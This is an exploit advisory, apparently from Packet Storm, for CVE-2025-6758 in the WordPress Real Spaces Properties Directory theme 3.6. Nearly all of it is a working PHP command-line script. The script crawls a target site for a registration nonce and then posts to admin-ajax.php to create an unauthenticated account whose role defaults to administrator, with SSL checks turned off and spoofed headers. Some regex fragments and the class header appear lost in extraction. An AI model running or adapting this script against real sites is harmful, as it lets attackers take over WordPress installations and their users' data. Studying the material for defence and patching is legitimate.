============================================================================================================================================= | # Title : WordPress Real Spaces Properties Directory Theme 3.6 Unauthenticated Administrator Registration Vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://themeforest.net/item/real-spaces-wordpress-real-estate-theme/8219779 | ============================================================================================================================================= POC : [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6758 https://packetstorm.news/files/id/210833/ https://wpscan.com/vulnerability/12347 [+] Summary A critical security vulnerability exists in the Real Spaces Properties Directory Theme that allows unauthenticated attackers to register administrator accounts without any authentication. The vulnerability stems from improper nonce validation and missing authorization checks in the user registration functionality. [+] Usage: Usage: php poc.php -u https://example.com [+] POC : debug = $debug; $this->session = curl_init(); curl_setopt_array($this->session, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper", CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => [ "Accept: */*", "X-Requested-With: XMLHttpRequest" ] ]); } public function __destruct() { if ($this->session) { curl_close($this->session); } } private function shortDelay($min = 0.4, $max = 1.0) { usleep(rand($min * 1000000, $max * 1000000)); } private function log($message, $level = "INFO") { echo "[$level] $message\n"; } private function fetchPage($url, $verifySSL = false) { curl_setopt_array($this->session, [ CURLOPT_URL => $url, CURLOPT_HTTPGET => true, CURLOPT_POST => false, CURLOPT_SSL_VERIFYPEER => $verifySSL ]); $response = curl_exec($this->session); $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE); if ($httpCode === 200 && $response) { return $response; } if ($this->debug) { $this->log("Fetch failed: $url - HTTP Code: $httpCode", "DEBUG"); } return null; } private function extractNonceBS4($html) { // Simple DOM parsing without external libraries if (preg_match('/data-registration-nonce="([^"]+)"/', $html, $matches)) { return $matches[1]; } if (preg_match('/]*name="registration_nonce"[^>]*value="([^"]+)"/', $html, $matches)) { return $matches[1]; } // Search in script tags if (preg_match_all('/]*>(.*?)<\/script>/s', $html, $scriptMatches)) { foreach ($scriptMatches[1] as $scriptContent) { if (preg_match($this->nonceRegex, $scriptContent, $matches)) { return $matches[1]; } } } return null; } private function extractNonceRegex($html) { if (preg_match($this->nonceRegex, $html, $matches)) { return $matches[1]; } return null; } private function findNoncesInJS($jsText) { preg_match_all($this->nonceRegex, $jsText, $matches); return $matches[1] ?? []; } private function collectLinks($baseUrl, $html) { $links = []; $baseParsed = parse_url($baseUrl); $baseHost = $baseParsed['host'] ?? ''; // Extract anchor links preg_match_all('/]+href="([^"]+)"/', $html, $anchorMatches); foreach ($anchorMatches[1] as $href) { if (strpos($href, 'mailto:') === 0 || strpos($href, 'tel:') === 0) { continue; } $fullUrl = $this->joinUrls($baseUrl, $href); $parsed = parse_url($fullUrl); if (($parsed['host'] ?? '') === $baseHost) { $cleanUrl = strtok($fullUrl, '#'); $links[$cleanUrl] = true; } } // Extract script sources preg_match_all('/]+src="([^"]+)"/', $html, $scriptMatches); foreach ($scriptMatches[1] as $src) { $fullUrl = $this->joinUrls($baseUrl, $src); $links[$fullUrl] = true; } return array_keys($links); } private function joinUrls($base, $relative) { if (parse_url($relative, PHP_URL_SCHEME) !== null) { return $relative; } if ($relative[0] === '/') { $baseParsed = parse_url($base); return $baseParsed['scheme'] . '://' . $baseParsed['host'] . $relative; } return rtrim($base, '/') . '/' . ltrim($relative, '/'); } public function scanLinksForNonce($startUrl, $maxPages = 25, $maxDepth = 2, $verifySSL = false) { $found = []; $seen = []; $toVisit = [[$startUrl, 0]]; while (!empty($toVisit) && count($seen) < $maxPages) { list($url, $depth) = array_shift($toVisit); if (in_array($url, $seen)) { continue; } $seen[] = $url; $this->shortDelay(); $html = $this->fetchPage($url, $verifySSL); if (!$html) { continue; } $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html); if ($nonce) { $found[] = [$url, $nonce]; } if ($depth < $maxDepth) { $links = $this->collectLinks($url, $html); foreach ($links as $link) { if (!in_array($link, $seen)) { $toVisit[] = [$link, $depth + 1]; } } } } return $found; } public function searchCommonPathsForNonce($baseUrl, $verifySSL = false) { $candidates = [ "register", "Register", "register/", "Register/", "wp-register.php", "wp-login.php?action=register", "wp-content/plugins/", "wp-content/themes/", "wp-register.php", "?page_id=1476", "wp-login.php", ]; $found = []; foreach ($candidates as $path) { $tryUrl = $this->joinUrls($baseUrl, $path); $this->shortDelay(); $html = $this->fetchPage($tryUrl, $verifySSL); if (!$html) { continue; } $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html); if ($nonce) { $found[] = [$tryUrl, $nonce]; } else { // Check JavaScript files preg_match_all('/]+src="([^"]+)"/', $html, $scriptMatches); foreach ($scriptMatches[1] as $src) { $jsUrl = $this->joinUrls($tryUrl, $src); $this->shortDelay(); $jsContent = $this->fetchPage($jsUrl, $verifySSL); if ($jsContent) { $nonces = $this->findNoncesInJS($jsContent); foreach ($nonces as $n) { $found[] = [$jsUrl, $n]; } } } } } return $found; } private function buildPayload($nonce, $username, $password, $email, $position, $role) { return [ "action" => "imic_agent_register", "reg_nonce" => $nonce, "task" => "register", "role" => $role, "username" => $username, "position" => $position, "email" => $email, "pwd1" => $password, "pwd2" => $password, ]; } private function performRegistration($ajaxUrl, $payload, $verifySSL = false) { $headers = [ "User-Agent: Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: " . str_replace("wp-admin/admin-ajax.php", "register/", $ajaxUrl), "Content-Type: application/x-www-form-urlencoded" ]; curl_setopt_array($this->session, [ CURLOPT_URL => $ajaxUrl, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($payload), CURLOPT_HTTPHEADER => $headers, CURLOPT_SSL_VERIFYPEER => $verifySSL ]); $response = curl_exec($this->session); $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE); if ($httpCode === 200 && $response) { return $response; } $this->log("POST failed: HTTP Code $httpCode", "ERROR"); return null; } public function execute($args) { $baseUrl = $args['url']; if (!str_ends_with($baseUrl, '/')) { $baseUrl .= '/'; } $results = []; // Try base URL first $startHtml = $this->fetchPage($baseUrl, $args['verify_ssl']); if ($startHtml) { $nonce = $this->extractNonceBS4($startHtml) ?: $this->extractNonceRegex($startHtml); if ($nonce) { $results[] = [$baseUrl, $nonce]; } } // Try page_id if no results if (empty($results)) { $pageIdUrl = $this->joinUrls($baseUrl, "?page_id=1476"); $this->log("Auto-trying page_id path: $pageIdUrl", "DEBUG"); $this->shortDelay(); $html = $this->fetchPage($pageIdUrl, $args['verify_ssl']); if ($html) { if ($this->debug) { echo "\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---\n"; echo substr($html, 0, 800) . "\n"; echo "--- end snippet ---\n\n"; } $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html); if ($nonce) { $results[] = [$pageIdUrl, $nonce]; } } } // Scan links if still no results if (empty($results)) { $linkResults = $this->scanLinksForNonce( $baseUrl, $args['max_pages'], $args['max_depth'], $args['verify_ssl'] ); $results = array_merge($results, $linkResults); } // Scan common paths if enabled and still no results if ($args['scan_common_paths'] && empty($results)) { $commonResults = $this->searchCommonPathsForNonce($baseUrl, $args['verify_ssl']); $results = array_merge($results, $commonResults); } if (empty($results)) { $this->log("No registration_nonce values found. Provide a specific registration URL or increase scan options.", "ERROR"); $this->log("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.", "INFO"); return; } $this->log("Nonces found: " . count($results), "INFO"); list($nonceSource, $nonceValue) = $results[0]; $this->log("Using nonce from: $nonceSource", "INFO"); $payload = $this->buildPayload( $nonceValue, $args['username'], $args['password'], $args['email'], $args['position'], $args['role'] ); $ajaxUrl = $this->joinUrls($baseUrl, $args['ajax_path']); $this->shortDelay(0.6, 1.2); $response = $this->performRegistration($ajaxUrl, $payload, $args['verify_ssl']); if (!$response) { $this->log("No response or POST failure.", "ERROR"); return; } // Parse response $success = false; $message = ''; if (preg_match('/]*class=["\']?[^"\'>]*alert-success[^"\'>]*["\']?[^>]*>(.*?)<\/div>/is', $response, $matches)) { $message = strip_tags($matches[1]); $message = html_entity_decode($message); if (stripos($message, 'success') !== false || stripos($message, 'successfully') !== false) { $success = true; } } if ($success) { echo "[+] Exploitation successful.\n"; echo "[+] Server message: $message\n"; echo "[+] Username: " . $args['username'] . "\n"; echo "[+] Password: " . $args['password'] . "\n"; echo "[+] Email: " . $args['email'] . "\n"; echo "[+] Role: " . $args['role'] . "\n"; } else { echo "[!] Registration POST completed. Server response:\n"; echo substr($response, 0, 1000) . "\n"; } // Save results if requested if (!empty($args['save_json'])) { $report = [ 'total' => count($results), 'details' => [] ]; $seenValues = []; foreach ($results as list($src, $nonce)) { $unique = !in_array($nonce, $seenValues); $seenValues[] = $nonce; $report['details'][] = [ 'source' => $src, 'nonce' => $nonce, 'unique' => $unique ]; } if (file_put_contents($args['save_json'], json_encode($report, JSON_PRETTY_PRINT)) !== false) { $this->log("Results saved to " . $args['save_json'], "INFO"); } else { $this->log("Failed to save JSON: " . $args['save_json'], "ERROR"); } } } } // Command line interface if (php_sapi_name() === 'cli') { $options = getopt("u:", [ "url:", "username:", "password:", "email:", "position:", "role:", "max-pages:", "max-depth:", "scan-common-paths", "ajax-path:", "verify-ssl", "save-json:", "debug", "help" ]); if (isset($options['help']) || !isset($options['url'])) { echo "CVE-2025-6758 Exploit - WordPress Registration Vulnerability\n"; echo "Usage: php exploit.php -u [options]\n\n"; echo "Options:\n"; echo " -u, --url Base URL to scan (required)\n"; echo " --username Username to register (default: indoushka)\n"; echo " --password Password to register (default: 123456789)\n"; echo " --email Email to register (default: indoushka@gmail.com)\n"; echo " --position Position value (default: indoushkaadmin)\n"; echo " --role Role value (default: administrator)\n"; echo " --max-pages Maximum pages to visit when crawling (default: 30)\n"; echo " --max-depth Maximum crawl depth (default: 2)\n"; echo " --scan-common-paths Scan common register/plugin/theme paths\n"; echo " --ajax-path AJAX endpoint path (default: wp-admin/admin-ajax.php)\n"; echo " --verify-ssl Verify SSL certificates\n"; echo " --save-json Save results as JSON file\n"; echo " --debug Enable debug logging\n"; echo " --help Show this help\n\n"; echo "Examples:\n"; echo " php exploit.php -u https://example.com\n"; echo " php exploit.php -u https://example.com --debug --scan-common-paths\n"; echo " php exploit.php -u https://example.com --username admin --role administrator\n"; exit(0); } $args = [ 'url' => $options['u'] ?? $options['url'], 'username' => $options['username'] ?? 'indoushka', 'password' => $options['password'] ?? '123456789', 'email' => $options['email'] ?? 'indoushka@gmail.com', 'position' => $options['position'] ?? 'indoushkaadmin', 'role' => $options['role'] ?? 'administrator', 'max_pages' => $options['max-pages'] ?? 30, 'max_depth' => $options['max-depth'] ?? 2, 'scan_common_paths' => isset($options['scan-common-paths']), 'ajax_path' => $options['ajax-path'] ?? 'wp-admin/admin-ajax.php', 'verify_ssl' => isset($options['verify-ssl']), 'save_json' => $options['save-json'] ?? '', 'debug' => isset($options['debug']) ]; $exploit = new WPRegistrationExploit($args['debug']); $exploit->execute($args); } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================